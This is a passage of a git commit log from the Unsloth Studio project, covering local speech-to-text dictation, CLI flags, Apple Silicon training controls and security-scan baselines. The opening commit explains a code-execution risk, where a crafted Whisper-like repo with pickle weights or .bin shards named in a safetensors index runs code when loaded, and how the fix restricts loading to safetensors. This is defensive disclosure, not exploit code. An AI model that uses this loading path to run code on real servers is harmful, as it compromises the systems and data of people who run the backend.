The STT sidecar accepts arbitrary Hugging Face owner/model repos for
custom dictation models and, when safetensors were absent, downloaded
and loaded pytorch_model.bin through WhisperForConditionalGeneration
.from_pretrained. PyTorch checkpoints are pickles that execute code
during deserialization, and this path does not run the malware gate the
normal model loader applies, so an authenticated client on an exposed
Studio instance could load a crafted Whisper-looking repo and run code
in the backend.

Restrict custom STT repos to safetensors: the snapshot selector no
longer falls back to pytorch_model.bin(.index.json), the cached-snapshot
completeness check ignores pickle weights, and the load forces
use_safetensors so a stray cached pickle still cannot execute. The five
curated Whisper defaults already ship safetensors only, so this changes
nothing for the built-in models.

* STT: reject safetensors indexes that reference non-safetensors shards

A safetensors index (model.safetensors.index.json) is attacker-supplied
JSON and can name pytorch_model-*.bin shards in its weight_map.
Transformers dispatches shard loading per file by extension, so those
.bin shards still load through torch.load (pickle) even with
use_safetensors set. Require every weight_map value to end in
.safetensors in both the snapshot selector and the completeness check so
no pickle shard is downloaded or reused.
2026-07-23 03:15:45 -07:00
Daniel Han
beddfc963e
Studio: viewport-gated highlight for the executed Python script (follow-up to #7240) (#7363)
* Studio: keep the executed Python script visible in chat, with download + viewport-gated highlight

Always show the executed Python script under the tool card (not only inside the
collapsible run/output section, which is unmounted from history), with Copy and a
client-side .py Download button, so the script stays visible on reopen (#7165).

The script is rendered eagerly, but shiki syntax-highlighting only runs once the
block scrolls near the viewport (IntersectionObserver, 200px margin); until then a
plain monospace placeholder shows the same source with matching padding, so there
is no layout jump. This bounds highlighting to the cards actually on screen instead
of tokenizing every script up front. Measured shiki cost is ~8 ms per typical 2 KB
script, so eager highlighting of a long agentic transcript (20-50+ Python calls)
would add ~170-420 ms of main-thread work on load; viewport-gating keeps it to the
few visible cards (~15-35 ms) regardless of transcript length. Falls back to
immediate highlight when IntersectionObserver is unavailable (SSR / tests).

* Use a div for the pre-highlight placeholder so container [&_pre]:!p-0 doesn't strip its p-3

The placeholder shares the highlighted block's p-3 padding to avoid a layout
jump, but as a <pre> it was caught by the container's [&_pre]:!p-0 !important
rule and rendered with no padding, so the script shifted by p-3 when shiki
swapped in. A plain div keeps the padding.

* Match placeholder wrapping to the highlighted pre (whitespace-pre, not pre-wrap)

The placeholder wrapped long lines while the highlighted Streamdown <pre> keeps
them on one line and scrolls in the container's overflow-auto, so a script with a
long line changed height when shiki swapped in. Use whitespace-pre so the
placeholder scrolls the same way and the height stays stable.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-23 02:55:57 -07:00
Daniel Han
d49d23ffab Update pyproject.toml 2026-07-23 02:31:21 -07:00
Daniel Han
02ee08afe3 Update _utils.py 2026-07-23 02:29:58 -07:00
Long Yixing
e143e1ce33
feat(studio): Mac-aware training controls for MLX (optimizers, LoftQ, packing) (#7358)
* feat(studio): offer MLX-supported optimizers on Apple Silicon

The training form's optimizer dropdown only listed CUDA/bitsandbytes optimizers (adamw_8bit, paged variants, torch fused). On Apple Silicon the MLX trainer supports a different set (adamw, adam, lion, muon, sgd, adafactor) and remaps every bitsandbytes/torch name to plain AdamW, so the dropdown misrepresented what actually runs.

Offer the MLX optimizer list when the device is a Mac, and derive the displayed value so the control is never blank: the shared CUDA default and the other bitsandbytes/torch options render as AdamW (exactly how the MLX backend normalizes them), while any other value is shown as-is so an unrecognized or non-canonical imported optimizer is never mislabeled. Non-Mac behavior is unchanged. The run-summary optimizer label now resolves from both lists.

* feat(studio): show an MLX-appropriate optimizer tooltip on Apple Silicon

The optimizer tooltip described "8-bit variants" and recommended "Fused" for vision models, neither of which is offered when training runs on MLX. On Apple Silicon, show a tooltip that matches the MLX optimizer set and notes that Lion typically needs a lower learning rate than AdamW.

Copy-only: no change to the selected optimizer or the learning rate, and the non-Mac tooltip is unchanged. The new string is added to the English locale; other locales fall back to English until translated, matching how new keys are handled elsewhere.

* fix(studio): label Mac CUDA-alias optimizers as AdamW in the run summary

On Apple Silicon the run-configuration summary looked up the stored optimizer name directly, so a run that kept a CUDA/bitsandbytes default such as adamw_8bit was labeled "AdamW 8-bit" even though the picker shows "AdamW" and the MLX backend runs plain AdamW. Mirror the training form's derivation so those aliases are labeled AdamW in the summary too.

Display-only: no change to the stored or submitted optimizer, and non-Mac summaries are unchanged.

* feat(studio): disable LoftQ and sequence packing on Apple Silicon

Neither LoftQ nor sequence packing is supported on MLX — the backend rejects LoftQ and the trainer silently forces packing off — yet the training form still offered both on Apple Silicon.

Disable the LoftQ LoRA-init option (greyed and unclickable, with an inline "Not supported on Apple Silicon" note) and the "Enable packing" checkbox (greyed, with a tooltip explaining why), matching how the unsupported "Enable streaming" control is presented. Clearing effects reset a stale loftq/packing value to its default on Mac so the disabled controls never submit it. Non-Mac behavior is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-23 02:14:20 -07:00
Daniel Han
5aedfd0b46
Studio: always show the executed Python script in chat with a download option (#7240)
The script the python tool runs was rendered inside a collapsible that closes
when the run ends or the thread is reopened, so the code disappeared from the
transcript and there was no way to save it. Render the script outside the
collapsible so it stays visible, and add a Download button that saves it as
script.py. Other tools and normal chat are unaffected.
2026-07-23 02:13:51 -07:00
Daniel Han
b0d6131567
Security audit: refresh scan baselines for current dependency set (#7362)
The pip scan-packages extras shard has been red on main because openai
2.47.0 changed the code inside five previously baselined findings, so
their evidence hashes no longer matched the allowlist. The hf-stack
shard was about to go red the same way: unsloth-zoo 2026.7.5 changed
two baselined test files.

All seven reopened findings were re-verified against the exact resolved
archives before re-baselining:

- openai/_base_client.py: while True in SyncPage.iter_pages, the
  pagination iterator.
- openai/auth/_workload.py: Azure IMDS and GCP metadata token
  providers for the documented workload identity federation feature.
- openai/resources/{beta/responses,realtime,responses}: while True in
  websocket __aiter__ event loops; the loop bodies gained reconnect
  handling in 2.47.0, which is what shifted the hashes.
- unsloth-zoo tests/test_vision_collator_audio.py: asserts that an
  inline /tmp/a.wav path is passed through by the audio collator.
- unsloth-zoo tests/test_gemma4_forced_float32_ple_dtype.py:
  compile()/exec() of the project's own generated Gemma4 PLE cast
  helper source in tests.

No existing entries were removed. All three shards now exit 0 locally
against the same requirement sets CI uses.
2026-07-23 02:02:41 -07:00
Daniel Han
4fedb51b73
unsloth start/run: tool-call flags, positional model, and grouped help (#7328)
* unsloth start/run: tool-call flags, positional model, grouped help

Expose the existing tool-call controls as first-class CLI flags on both
unsloth run and unsloth start, add positional model detection with a GGUF
quant default, and group --help into rich panels.

Flags (unsloth run): --enable-tool-call-healing/--disable-tool-call-healing
(default on), --enable-tool-call-nudging/--disable-tool-call-nudging
(default on). Resolved before any re-exec and written to the existing env
controls (UNSLOTH_DISABLE_TOOL_CALL_HEALING, UNSLOTH_TOOL_CALL_NUDGE) so the
in-venv server reads them at import; an omitted flag respects a value the
parent already set.

Flags (unsloth start): --enable-tools/--disable-tools (default off, passthrough),
plus the same healing/nudging flags (default on). start conveys them to the
auto-started run via the child env and the tools flag, so it stays correct even
if run re-execs into an older Studio venv.

Positional model: a leading org/name(:variant) token routes to --model when
--model is absent, without stealing an option value or an agent passthrough arg.
A bare GGUF repo with no variant defaults to UD-Q4_K_XL for the unsloth namespace
and Q4_K_M elsewhere, applied only on the fresh auto-serve path so attaching to a
loaded model never reloads.

Help is grouped into rich panels (Model / Server / Session for start; Model /
Server and network / Tool calls / Advanced for run) so --help reads cleanly.

Adds unit coverage for the helpers, the start command-and-env forwarding, the
positional/quant defaulting, and the run env resolution.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Positional model: reuse _is_hub_model_id so local dirs and paths are not stolen

Route a bare org/name positional to --model only when it resolves as a hub id
(via the existing _is_hub_model_id, which rejects local paths and existing
dirs), so an OpenCode project dir like owner/repo is left for the agent. Apply
the same guard to the auto-serve GGUF quant default so a local -GGUF path is
not forced to a quant it may not contain.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* unsloth start: typer floor, drop redundant GGUF quant default, respect inherited tool-call env

- Require typer>=0.12.0. The rich_help_panel options added here crash at import
  on typer<0.6, and the dependency was previously unbounded.
- Stop forcing a default GGUF quant for a bare org/name-GGUF on auto-serve. The
  server's own quant preference already picks UD-Q4_K_XL for Unsloth uploads and
  Q4_K_M otherwise, and falls back when that exact quant is missing, so forcing a
  fixed variant broke external repos that only publish Q5_K_M/Q8_0.
- Make the healing/nudging start flags tri-state so an omitted flag keeps an
  operator's inherited UNSLOTH_DISABLE_TOOL_CALL_HEALING / UNSLOTH_TOOL_CALL_NUDGE
  instead of overwriting it with the start defaults.

* Fix start passthrough and inherited tool settings

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-23 01:44:57 -07:00
Michael Han
d5cf96d628
Studio: add local speech-to-text dictation engine (#7095)
* Studio: add Voice settings tab (dictation, dictionary, read aloud)

New Voice tab in Settings, placed just before About:

- Dictation: microphone picker, browser STT engine, recognition language,
  and an inline mic test with a live transcript
- Dictation dictionary: entries rewrite matching speech to their exact
  spelling and casing, applied in both dictation paths
- Recent dictations: last 20 final transcripts with copy and clear, so
  text can be recovered if it lands in the wrong place
- Read aloud: optional button on assistant responses with two engines,
  curated system voices (novelty and legacy voices filtered, quality
  ranked, capped at 20) or the TTS audio model loaded in Unsloth via
  /audio/generate (e.g. Orpheus), plus speed, pitch, volume and preview

Settings persist in localStorage (unsloth_voice_settings) and are read
at call time so changes apply without reloading the runtime. Adds en
keys plus the tab label for ja, zh-CN and pt-BR.

* Studio: drop the single option STT engine select, rename TTS option

The STT engine dropdown only had one entry, so it added noise without
giving a real choice. The engine row can come back once local STT
models land. Also renames the TTS engine option Unsloth TTS model to
Load TTS model to make the action clearer.

* Studio: harden Voice settings against edge cases found in simulation

Simulated the feature across Chromium, Firefox and WebKit plus node
level unit runs and backend contract checks. Fixes from the findings:

- Dictionary rewrite used a replacement string, so entries containing
  dollar patterns corrupted transcripts (A$$AP became A$AP, $& injected
  the match). Switched to the callback form of String.replace
- Persisted voice settings now validate types on hydration: non string
  micDeviceId, dictationLanguage and ttsVoiceURI, and non boolean
  ttsEnabled fall back to defaults instead of flowing into the UI
- Dictionary entries are trimmed, capped at 120 chars and re-sanitized
  on hydration
- The Test dictation panel now falls back to the default microphone
  when the saved device is unplugged, matching the composer adapter

Test coverage: 46 unit assertions (dictionary regex edge cases across
unicode, word boundaries and injection, voice curation for simulated
macOS, Windows and Linux voice inventories, corrupt storage merge),
13 backend contract checks against /audio/generate on an isolated
instance, and 60 browser assertions across the three engines covering
rendering, degradation without SpeechRecognition, curation in a real
DOM, dictionary persistence with unicode and dollar entries, the
no-model preview error path and corrupt localStorage recovery.

* Studio: address Voice settings review feedback

Verified each review comment before acting. Confirmed and fixed:

- Editing a dictionary entry was broken in two ways: the store trimmed
  on every keystroke so spaces could not be typed, and clearing the
  field deleted the entry and unmounted the input mid edit. Updates now
  keep the raw value and a blur commit trims or removes the entry
- The unplugged mic fallback checked instanceof DOMException, but a
  cross browser probe showed Firefox and WebKit throw
  OverconstrainedError objects that are not DOMExceptions, so the
  fallback never fired there. Matching on the error name now
- When the browser ended a dictation test on its own (silence timeout),
  the mic stream stayed open. All recognition end paths now stop the
  tracks and save the transcript through a single finalize path
- The studio TTS audio element now releases its WAV data URL as soon as
  playback ends, fails or is cancelled
- Allow microphone now reports insecure contexts (no mediaDevices)
  accurately instead of claiming access was blocked
- Voice tab copy moved into i18n keys per src/i18n/AGENTS.md, so locale
  overlays can translate it; en is the baseline and parity passes
- unsloth_voice_settings added to the Reset all local preferences key
  list so voice preferences obey the reset
- Non default microphones note that the system default is used when the
  browser speech engine cannot bind a specific device, since browsers
  without the start(track) overload ignore the argument silently

Re-ran the full simulation set after the changes: 46 unit assertions,
13 backend contract checks and 60 browser assertions across Chromium,
Firefox and WebKit all pass, plus a dedicated browser probe for the
dictionary editing behavior.

* Studio: use the chat mic icon in Voice settings for consistency

The Voice tab and its buttons used the hugeicons Mic02 glyph while the
chat composer uses a custom filled mic. Extract that composer icon into
a shared lib/mic-icon component, drop the duplicate inline copies in
thread.tsx and shared-composer.tsx, and use it for the Voice tab icon
and the tab's mic buttons so the microphone looks the same everywhere.

* Studio: address second round of Voice settings review feedback

Verified each new comment against the current code first. One item was
already fixed in the previous round (recording transcripts when the
browser ends a dictation test on its own). Confirmed and fixed:

- The microphone row showed a picker with generic names when browsers
  enumerate unlabeled devices before permission, leaving no way to
  grant access from the row. It now branches on whether labels are
  visible and shows Allow microphone otherwise
- Compare chat dictation ignored the selected microphone. It now opens
  the chosen device with the same fallback rules as the main adapter,
  passes the track to recognition where supported and releases the
  stream when recognition ends
- Closing the Voice tab cancelled the shared speechSynthesis even when
  read aloud was playing a chat message. Cleanup now only cancels when
  the tab owns an active preview
- Double clicking Start test could race two recognizers and leak the
  first stream. A starting flag set before the getUserMedia await makes
  start reentrancy safe
- Turning off the read aloud setting mid playback removed the only stop
  control. The stop button now renders whenever a message is speaking
- When an engine lacks the start(track) overload, both dictation paths
  now release the selected device stream before retrying with the
  default microphone instead of holding it open
- Read aloud support no longer requires Web Speech synthesis: the
  Unsloth TTS engine only needs audio playback, so it stays available
  in WebViews without speechSynthesis, with a clear error if the system
  engine is chosen there

Not addressed here: cancelling in flight backend TTS generation on
stop. The route runs generation in a worker thread without a
cancellation path, which is shared pre existing behavior with audio
chat generation and belongs in a backend change.

All suites re-run green: 46 unit, 13 backend contract and 60 browser
matrix assertions across Chromium, Firefox and WebKit, plus probes for
the unlabeled device branch and the double click race.

* Studio: drop empty and duplicate voiceURIs so the Voice tab never renders a crashing Select item

* Studio: guard dictation mic lifecycle in Voice test and Compare composer

Release a microphone opened after the component unmounts, and stop Compare
dictation on a permission or security failure instead of silently recording
from the default device, matching the main chat adapter.

* Studio: fix dictation and read-aloud lifecycle edge cases in Voice settings

- Join final dictation chunks with a space so recorded transcripts do not merge words
- Ignore a stale recognizer onend so a quick stop then restart is not torn down
- Use previewingRef so a double click on TTS preview does not orphan the first request
- Keep the read-aloud stop control visible when a new run starts while a message is spoken
- Stop the dictionary remove button from deleting an adjacent entry on a blur then click race

* Studio: trim redundant Voice settings comments

* Studio: fix Voice preview and Compare dictation edge cases

- Only cancel the shared speechSynthesis for a system-voice preview, so stopping
  a Studio preview no longer stops an unrelated chat read-aloud
- Release the Studio preview audio and its WAV data URL on normal completion
- Iterate every finalized result in Compare dictation so batched phrases are kept
- Cap persisted recent dictations to the last 20 on hydration

* Studio: use clipboard fallback for recents and release failed preview audio

- Copy recent dictations via the copyToClipboard helper so the execCommand
  fallback works in Safari and insecure http LAN contexts
- Release the Studio preview audio when play() rejects, not just on ended/error

* Studio: add local speech-to-text dictation engine

Add an offline dictation engine that transcribes with a local faster-whisper
model, alongside the existing browser (Web Speech) engine. The browser engine
streams audio to Apple or Google speech services and needs internet; the new
engine runs on the server, works offline, and drives any chat model without
evicting it (it loads in the backend process, separate from the model
subprocess). It also gives Firefox dictation, which has no Web Speech support.

Backend: a lazily-loaded, kept-warm faster-whisper sidecar and three routes
under /api/inference/audio (stt/status, stt/load, transcribe). faster-whisper
is torch-free, so this does not disturb the existing model stack.

Frontend: a Dictation engine setting (browser or local model), a curated model
picker with sizes, and MediaRecorder capture posted to the transcribe route.
The model warms automatically when the engine is selected, with live status.

* Studio: stream local STT transcription as you speak

Local dictation showed nothing until you stopped, because the whole clip was
transcribed once on stop. Now the growing recording is re-transcribed on a
fast pass every second and emitted as live interim text, with an accurate
final pass on stop. Partial recordings decode fine, and the model refines
earlier words as more audio arrives.

Adds an interim flag to the transcribe route (beam 1, no VAD) for the fast
preview pass; the final stop uses the accurate path.

* Studio: make local dictation stop instant and reliable

Stopping local dictation waited for a final network transcription before the
session ended, so the stop button did not flip and a second click ended the
session early and dropped the text. Now stop commits the live transcript
immediately, releases the mic at once, and ignores a second stop while
finalizing. Previews run more often so the committed text is current.

* Studio: record local dictation in short clips for reliable streaming

Re-transcribing a growing buffer every second got slower as it grew, flooded
the backend, showed stale words, and could leave the stop button stuck waiting
on a backlog. Record short independent clips instead and transcribe each once,
appending the text as you speak. Work per clip is bounded, so stopping is
prompt (with a hard timeout as a safety net) and long dictations stay smooth.

* Studio: dictate then transcribe once on stop, ChatGPT style

Local STT dictation streamed by re-transcribing the growing clip, which
was quadratic and saturated the backend (multi-second lag), and stop only
halted the recorder without releasing the mic, so it kept recording. Record
the microphone continuously, release it the instant the user stops, and
transcribe the whole clip once. Stopping is immediate and the transcript
lands in about a second. Also add the tiny model for the fastest option.

* Studio: surface dictation and read-aloud failures instead of failing silently

- Compare dictation reports microphone and speech-recognition errors via toast,
  reusing the main chat adapter's describeMediaError and describeSpeechError
- Read-aloud toasts genuine model or synthesis failures while ignoring cancellations

* Studio: ChatGPT-style recording bar for dictation

Clicking the mic now drops the composer into a dedicated recording bar
with a live waveform, a discard (X) and a confirm (tick), instead of a
plain stop button. The tick stops recording and transcribes the clip;
the X throws the recording away and keeps whatever text was already in
the composer. The model adapter taps the mic with an analyser to drive
the waveform, and the router tracks the live session so the X can cancel
it without transcribing.

* Studio: transcribe dictation while speaking, ChatGPT layout

Match ChatGPT's recording layout: the bar now renders in place of the
input with the left plus button kept, the waveform in the middle, and
the discard and confirm buttons together on the right.

Cut the post-confirm delay by transcribing in the background as the user
talks. The audio is split at natural pauses (voice-activity detection off
the same analyser that drives the waveform) and each clip is transcribed
as it is cut, so confirming only has to finish the short final tail. The
model is also warmed when recording starts so the first run never pays a
cold load.

* Studio: ChatGPT waveform, hide tools while dictating, faster STT

Make the recording UI read like ChatGPT: the waveform is now a dense row
of round dots that rise into thin centered bars, and while dictating only
the plus button shows, with the mode badge and tool toggles hidden so the
bar is just the waveform and controls.

Speed up transcription: decode greedily (beam_size=1), which is several
times faster on CPU with negligible accuracy loss on short dictation
clips, and cap background segments at 6s so the final tail after confirm
stays short.

* Studio: finish ChatGPT voice bar and low-latency STT

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: full-width waveform with a timer that freezes on stop

Use the full-width waveform for the recording bar: brighter, bigger bars
that advance on a fixed cadence (keeping peaks between advances) so they
glide instead of racing by, inset from the composer edges. Keep a visible
timer and the green confirm button, matching the ChatGPT reference, and
freeze the timer and waveform the moment the user confirms.

* Studio: fix multilingual local dictation

* Studio: speed up dictation and release local STT

* Studio: harden dictation finalization and STT decoding

* Studio: restore Firefox dictation fallback

* Studio: add dictation history manager

* Studio: manage speech model downloads

* Studio: remove em dash from voice model label

* Studio: move dictation history into Voice

* Studio: source local STT from Unsloth Whisper models

Point the dictation STT sidecar and its Model Hub download entries at
Unsloth's Hugging Face Whisper repos (small, large-v3-turbo, large-v3)
and run them through Transformers, so Studio only ever downloads
Unsloth-uploaded weights. Drop faster-whisper and the Systran/mobiuslabs
repos; keep the Model Hub as the only download path via local_files_only,
and keep PyAV for audio decoding.

Device selection uses float16 on CUDA and float32 on MPS and CPU, since
Whisper's decoder is unstable in float16 on MPS and repeats tokens.

Shorten the model picker labels to name plus download size and update the
STT tests for the new backend.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: smooth dictation waveform and keep pill height

* Studio: align STT model dropdown width and tidy voice copy

* Studio: guide to local engine when browser dictation is offline

* Studio: clarify voice section and STT model copy

* Studio: keep STT warm with training-aware eviction

* Harden STT lifecycle and browser compatibility

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix model discovery test lint

* Harden cross-browser microphone errors

* Harden cross-browser microphone errors

* Surface voice test recognition errors and fall back to Studio TTS

- Voice test now toasts non-abort speech-recognition failures instead of
  ending silently, matching the main and Compare dictation paths.
- Read-aloud routes to the backend model when the runtime lacks Web Speech
  synthesis (audio-only WebView), so it no longer errors immediately.

* Fix reviewed STT lifecycle races

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix read-aloud fallback controls

* Guard read-aloud stop when deleting a non-speaking message

aui.message().stopSpeaking() throws unless this message is the one being
read aloud, so calling it unconditionally rejected the delete handler before
the message was removed. Only stop speech when this message is speaking.

* Cap recent dictation transcript length before persisting

Recent dictations only limited entry count, so a long transcript stored the
full text in the persisted voice settings and a few could exceed the
localStorage quota, throwing synchronously from the uncaught dictation cleanup
path. Truncate each entry on save and on hydration, matching the dictionary cap.

* Studio: keep dictation mic clickable and guide to local model

Register the dictation adapter unconditionally so the mic stays enabled
for any engine and starts working right after switching to the local
model on an already-open thread.

When the browser engine cannot run (Firefox, Brave, non-secure origins),
clicking the mic shows a toast that points to the local speech-to-text
model instead of leaving a disabled button. The toast stacks its action
below the text with a fully rounded button.

* Studio: add bottom padding below the dictation guidance toast button

* Studio: increase bottom padding under the dictation toast button

* Studio: add bottom padding inside the dictation toast button

* Studio: add five Whisper defaults and custom model search

Add private UnslothAI Tiny and Base mirrors to the curated local STT choices while keeping Small as the default. Let users search or paste a Transformers-compatible Whisper repository and validate it end to end.

Keep short dictations in one clip to avoid repeated padded encoder work, then split longer recordings near Whisper's 30-second boundary.

Update hidden model filters and tests, including the CPU-only CI runtime stub for PyAV.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: use public Unsloth Whisper repositories

Point the Tiny and Base dictation defaults to the public unsloth repositories and remove the private mirror references from model filtering and tests.

* Studio: update Whisper download sizes

Reflect the cleaned public Tiny and Base repositories in the curated model labels.

* Studio: right-align STT model size, fix dropdown wheel scroll, refresh sizes

- Show the download size on the right of each model row so long names
  like Whisper Large v3 Turbo no longer hide it
- Update curated Whisper sizes to the safetensors weights actually
  downloaded: Tiny 151 MB, Base 290 MB, Small 967 MB
- Drive the model list scroll from a wheel handler so the mouse wheel
  scrolls it inside the Settings dialog, not just the scrollbar
- Add a search icon and shorten the placeholder to Search model

* Studio: do not search when a dictation model is picked, shrink repo label

- Treat the filled-in model text as a selection, not a query, so choosing
  a model no longer kicks off a Hugging Face search
- Make the repository line under each model name smaller

* Studio: tighten dictation model and local engine descriptions

* Studio: keep model display on pick instead of the query, shrink row text

- Guard the combobox input so selecting a model shows its name and does
  not echo the typed query back or start a search
- Map the item label to the friendly display so picks fill the field
- Reduce the model name and size text in each row

* Studio: show only the model name in the dictation field, shrink size label

- Drop the download size from the search field; the name alone is shown
  once a model is selected, with sizes kept in the dropdown list
- Reduce the size label text in each row

* Studio: clarify the dictation model description

* Studio: drop Hugging Face from the dictation model description

* Studio: move the dictation dictionary to its own Manage subpage

- Replace the inline entry list with a Manage row, matching Dictation
  history, so a long dictionary no longer crowds Voice settings
- Add a DictationDictionaryView subpage that holds the entry editor

* Studio: match STT field font, use best voice for System default

- Bump the dictation model field text to text-sm so it matches the
  engine dropdown next to it
- Resolve the System default read-aloud voice to the top curated voice
  instead of the browser default, which is a robotic legacy voice on macOS

* Studio: rerank read-aloud voices and drop duplicate voice entries

- Rank by vendor quality, then the user's locale, then a preferred list of
  natural voices, so the best voice leads instead of the first alphabetically
- Collapse voices that macOS reports twice under one name and language

* Studio: fold dictionary and recents into the dictation section

- Drop the separate Dictation dictionary and Recent dictations headings;
  their Manage rows now sit under Dictation, split by the row divider
- Shorten the custom spellings description

* Studio: add search and sort to dictation history

- Filter saved dictations by text with a search field
- Sort by newest, oldest, or A to Z; show a no-matches message
- Keep Clear all available regardless of the current filter

* Studio: settle cancelled STT loads before training and fix dictation review items

Wait for a cancelled STT load to exit and release its memory before
reporting it freed for training, so the loader cannot still be inside
from_pretrained()/.to(device) holding VRAM when the training subprocess
starts. A load that finishes before observing the cancel now gets
unloaded so the memory is actually reclaimed.

Clear the accelerator cache before the CPU fallback in load() so a failed
CUDA/MPS load does not strand reserved VRAM once the sidecar is marked
CPU-resident.

Send the saved Hugging Face token when polling STT download progress so a
gated or private repo resolves and shows the correct Load/Downloaded
state instead of reporting missing.

Mark the composer Dictate button as type="button" so clicking it does not
also submit the draft when the composer already has text or attachments.

* Studio: pin dictation settings per session and close STT startup races

Capture the STT model and language when a dictation session starts and
pass them to every queued segment and the warm-up load, so changing the
model or language mid-recording no longer transcribes the same clip with
the wrong model or a model that is not downloaded.

Check the local runtime at the top of transcribe(), before the model
cache lookup and the bounded audio decode, so a server missing PyTorch or
Transformers returns 501 up front instead of decoding a long clip first.

Treat the training startup window as active for STT device selection.
start_training frees VRAM in before_spawn but only assigns _proc later, so
a concurrent STT load could take the GPU that was just cleared. A startup
flag now reports training active from the free until the process is live,
forcing those loads to CPU; a finally clears it on every exit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: stub the STT runtime check in transcribe orchestration tests

transcribe() now verifies the local runtime up front, so the unit tests
that exercise transcription orchestration must treat the runtime as
present to keep passing where PyTorch, Transformers, and PyAV are not
installed. Stub ensure_stt_available in the shared fixture and restore
the real check in the availability and load-rejection tests.

* Harden custom Whisper dictation models

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add whisper.cpp dictation engine with per-engine downloads and history rework

Engines
- New GGML STT sidecar that runs a managed whisper-server subprocess with
  idle unload, plus a pinned static build script (scripts/build_whisper_cpp.sh)
- Dictation engine picker now offers Browser, Local transcription
  (whisper.cpp), and Local transcription (Transformers)
- Both local engines serve the same five curated Whisper models and download
  them directly with byte-level progress reported by /audio/stt/status
- Models auto load on selection and when their download finishes
- Unload and training admission account for both engines

Benchmarks (Apple Silicon, greedy, warm, same checkpoints)
- whisper.cpp transcribes 2.4x to 5x faster than Transformers and loads in
  about 0.45s vs 0.86s for Whisper Small
- whisper.cpp GGUF path is unchanged by the Transformers addition
  (load 0.445s -> 0.444s, short clip 0.391s -> 0.347s, long 1.197s -> 1.129s)

Voice settings UI
- Plain curated model select replaces the searchable combobox
- Single download progress bar with transfer rate for both engines
- Dictation history now stores every dictation with Show more pagination,
  a top Clear history action, and links back to the chat it was spoken into
- Archived chats dialog gets the same pagination
- Delete dialog offers deleting a dictation together with its chat

Tests: 88 backend STT tests pass, including new snapshot download coverage.
Frontend typecheck, lint, i18n parity, and production build pass.

* Merge local engines into one option and source GGML models from unslothai

Engine selection
- The dictation engine dropdown is back to two choices: Browser and Local
  transcription. The selected model decides the backend: curated ids run
  GGML checkpoints through whisper.cpp, searched Hugging Face repositories
  run safetensors through Transformers
- Model picker lists the curated models and searches Hugging Face for other
  Whisper repositories, validating them before selection. The trigger is a
  plain button so the selection never renders inside a text input
- /audio/stt/status accepts a model query param so downloaded state works
  for custom repositories; the engine param on load, transcribe, and
  download routes is derived from the model everywhere

Model source
- Curated GGML checkpoints now download from the Unsloth-hosted
  unslothai/whisper-*-GGUF repositories (one repo per model) instead of
  ggerganov/whisper.cpp; cache lookups, progress totals, and in-flight blob
  tracking are per-model

Fixes
- Voice settings and dictation history were not persisting: the quota-safe
  localStorage wrapper was declared after the store that uses it, so the
  persist storage factory failed silently. Every settings write also threw
  mid-click, which kept the model picker popover from closing on selection
- is_model_downloaded now verifies config, preprocessor config, and real
  weight files instead of trusting an offline snapshot lookup, so a partial
  download left by an aborted fetch shows the Download button instead of
  failing to load
- Removed whisper.cpp mentions from user-facing text: the ready status
  shows Loaded instead of the runtime name, picker rows show the source
  repository, and runtime error messages say local transcription runtime

Verified with automated browser sessions and live API checks: selection
closes the picker with no page errors, persisted settings hydrate on
reload, a stale partial snapshot triggers download then loads on MPS and
transcribes, and curated models download from the unslothai repos. 88
backend STT tests, typecheck, lint, i18n parity, and build pass.

* Skip the duplicate source line for custom models in the STT picker

A custom repository's display name is its id, so search results and the
appended current selection rendered the same string twice. The source
line now only renders when it differs from the name; curated rows keep
their name, unslothai source repository, and download size.

* Verify every shard of a sharded checkpoint in the downloaded check

A snapshot holding one of N shards (or a corrupt shard index) passed the
downloaded check and then failed at load. When model.safetensors.index.json
exists, every shard in its weight map must now be present. Found by
simulation; covered by a regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Rename stale _starting references in the pump resilience tests

The startup flag on TrainingBackend was renamed to _spawn_in_progress but
two tests added alongside it still asserted on the old name, failing the
Python 3.11 to 3.13 CI jobs.

* Make the selected model row clearly highlighted in the STT picker

The current selection was a faint background tint. It now uses the accent
background with a medium weight name. Two line rows use a small corner
radius; single line custom repo rows keep the pill shape.

* Address review feedback on STT snapshot checks, VRAM release, and dictation UX

Verify snapshot completeness in the load preflight so a partial download
fails before the audio is decoded, for curated and custom repos alike.
Drop the failed accelerator traceback before the CPU retry so the cache
clear can actually release that memory. Keep unloading the GGUF sidecar
after cancelling an in-flight Transformers load; both engines can hold
memory at once. Allow Auto language with English-only .en checkpoints,
matching the backend which sends no forced language. Keep the discard
button usable while a transcription is pending so a slow or hung request
cannot trap the composer in dictation mode. Stop linking Compare and
settings test dictations to the unrelated active single chat thread.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Move the CPU retry out of the exception handler

On Python 3.10 the interpreter exception state keeps its own reference
to the traceback, so dropping it from the caught exception was not
enough to release the failed accelerator load during the retry. Leaving
the handler before clearing the cache works on every supported version.

* Address review feedback on session handoff, chat pinning, and server lifetime

Starting a dictation from a second entry point now cancels the session
it replaces, so the old recording cannot keep the microphone open or
save a transcript with no discard button pointing at it. The linked
chat is pinned when recording starts, so switching threads while a
transcription finalizes cannot relink the transcript to the newly
opened chat. whisper-server is now bound to Studio's lifetime like the
other long-lived children: PDEATHSIG on Linux, the parent job object on
